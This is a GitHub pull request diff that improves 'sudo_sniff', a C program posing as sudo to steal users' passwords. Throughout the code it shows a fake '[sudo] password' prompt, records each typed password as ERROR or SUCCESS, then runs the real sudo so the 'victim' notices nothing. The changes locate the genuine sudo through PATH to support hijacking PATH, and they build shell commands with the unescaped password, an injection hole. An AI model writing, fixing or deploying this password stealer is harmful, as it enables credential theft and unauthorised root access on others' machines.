Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix bug 3 #4

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
112 changes: 96 additions & 16 deletions sudo_sniff.c
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
#include <pwd.h>
#include <termios.h>
#include <stdio.h>
#include <limits.h>

#define BUFFER_SIZE 100
#define MAX_PW_ATTEMPTS 3
Expand Down Expand Up @@ -41,11 +42,11 @@ int save_password(char *username, char *password, char *status)
* arguments: Contains the victim's command
*
*/
int basic_sudo(char *arguments) {
int basic_sudo(char *sudo_path, char *arguments) {
/* Contains the victim's original command */
char orgiginal_cmd[BUFFER_SIZE] = {0};

snprintf(orgiginal_cmd, sizeof(orgiginal_cmd), "/usr/bin/sudo%s", arguments);
snprintf(orgiginal_cmd, sizeof(orgiginal_cmd), "%s%s", sudo_path, arguments);
system(orgiginal_cmd);
return 0;
}
Expand All @@ -54,12 +55,21 @@ int basic_sudo(char *arguments) {
* Tried to execute sudo to determine if user already has sudo access.
* system() returns 256 on error which indicates no sudo access.
*
* Returns: 0 if user does not have sudo access
* Returns: 0 if user does not have sudo access or if malloc failed
* 1 if the user has sudo access
*/
int check_sudo() {
int check_sudo(char *sudo_path) {
const char *sudo_args = " -n true 2>/dev/null";
size_t len = strlen(sudo_path) + strlen(sudo_args) + 1;
char *command = malloc(len);
if (!command) {
return 0;
}
snprintf(command, len, "%s%s", sudo_path, sudo_args);

int ret;
ret = system("/usr/bin/sudo -n true 2>/dev/null");
ret = system(command);
free(command);
if (ret == 256) {
return 0;
} else {
Expand Down Expand Up @@ -102,6 +112,63 @@ ssize_t get_user_pass(char **lineptr, size_t *n, FILE *stream)
return nread;
}

/* find_sudo()
* Finds the path of sudo executable by searching it from directories of PATH
* environment variable. The first one is ignored, because it should be this program
* if we have already prepended payload path to the PATH.
*
* Returns: NULL if PATH variable isn't set or if sudo executable can't be found in
* PATH or if malloc failed.
* The path to sudo executable otherwise. Memory is allocated for this string,
* it needs to be freed after use.
*/
char *find_sudo()
{
const char *sudo_bin = "/sudo";
char *sudo_path = NULL;
char *paths = getenv("PATH");
char *path = NULL;
size_t len = 0;
int is_first_path = 1;

if (!paths) {
return NULL;
}

while ((path = strtok(paths, ":"))) {
len = strlen(path) + strlen(sudo_bin) + 1;
sudo_path = malloc(len);
if (!sudo_path) {
return NULL;
}
snprintf(sudo_path, len, "%s%s", path, sudo_bin);

if (!is_first_path && access(sudo_path, X_OK) == 0) {
return sudo_path;
}
is_first_path = 0;

paths = NULL;
free(sudo_path);
}

return NULL;
}

/* is_password_correct()
* Test whether the password user gave is correct.
*
* Returns: 1 password is user's correct password
* 0 password isn't user's correct password
*/
int is_password_correct(char *password, char *sudo_path)
{
char command[PATH_MAX] = {0};
snprintf(command, PATH_MAX, "echo %s | %s -S true 2>/dev/null", password, sudo_path);

return system(command) == 0;
}

int main(int argc, char const *argv[])
{
struct passwd *usr = getpwuid(getuid());
Expand All @@ -110,11 +177,18 @@ int main(int argc, char const *argv[])
/* The victim's intital parameters to run sudo with */
char arguments[BUFFER_SIZE] = {0};
/* Full command to trick the victim into beleiving sudo ran successfully */
char command[BUFFER_SIZE] = {0};
char command[PATH_MAX] = {0};
char *sudo_path = NULL;

size_t len = 0;
int args;
int pw_attempts = 1;
int res = 0;

sudo_path = find_sudo();
if (!sudo_path) {
return 0;
}

/* Gather all the arguments supplied by the user and store them in a buffer */
for (args = 1; args < argc; ++args) {
Expand All @@ -124,24 +198,27 @@ int main(int argc, char const *argv[])
/* If we managed to get the current user, attempt to steal his password by faking sudo */
if(usr) {
/* Check if user already has sudo access */
if (!check_sudo()) {
if (!check_sudo(sudo_path)) {
/* Check if the victim supplied any arguments, if not simply run sudo */
if (argc != 1) {
while(pw_attempts <= MAX_PW_ATTEMPTS) {
printf("[sudo] password for %s: ", usr->pw_name);
get_user_pass(&password, &len, stdin);

/* Remove the \n at the end of the password, otherwise it messes up the command */
if(password[strlen(password)-1] == '\n') password[strlen(password)-1] = '\0';
if(password[strlen(password)-1] == '\n') password[strlen(password)-1] = '\0';

/* Build the full command to be executed */
snprintf(command, sizeof(command), "echo %s | /usr/bin/sudo -S%s 2>/dev/null", password, arguments);
snprintf(command, sizeof(command), "echo %s | %s -S%s", password, sudo_path, arguments);
printf("\n");

/* Check if victim entered the correct password. system() weirdly returns 256 on error */
if((system(command)) == 256) {
if(!is_password_correct(password, sudo_path)) {
printf("Sorry, try again.\n");
save_password(usr->pw_name, password, "ERROR");
res = 1;
} else {
res = system(command) / 256;
save_password(usr->pw_name, password, "SUCCESS");
break;
}
Expand All @@ -156,13 +233,16 @@ int main(int argc, char const *argv[])

free(password);
} else {
basic_sudo("");
basic_sudo(sudo_path, "");
}
} else {
basic_sudo(arguments);
basic_sudo(sudo_path, arguments);
}
} else {
basic_sudo(arguments);
basic_sudo(sudo_path, arguments);
}
return 0;
}

free(sudo_path);

return res;
}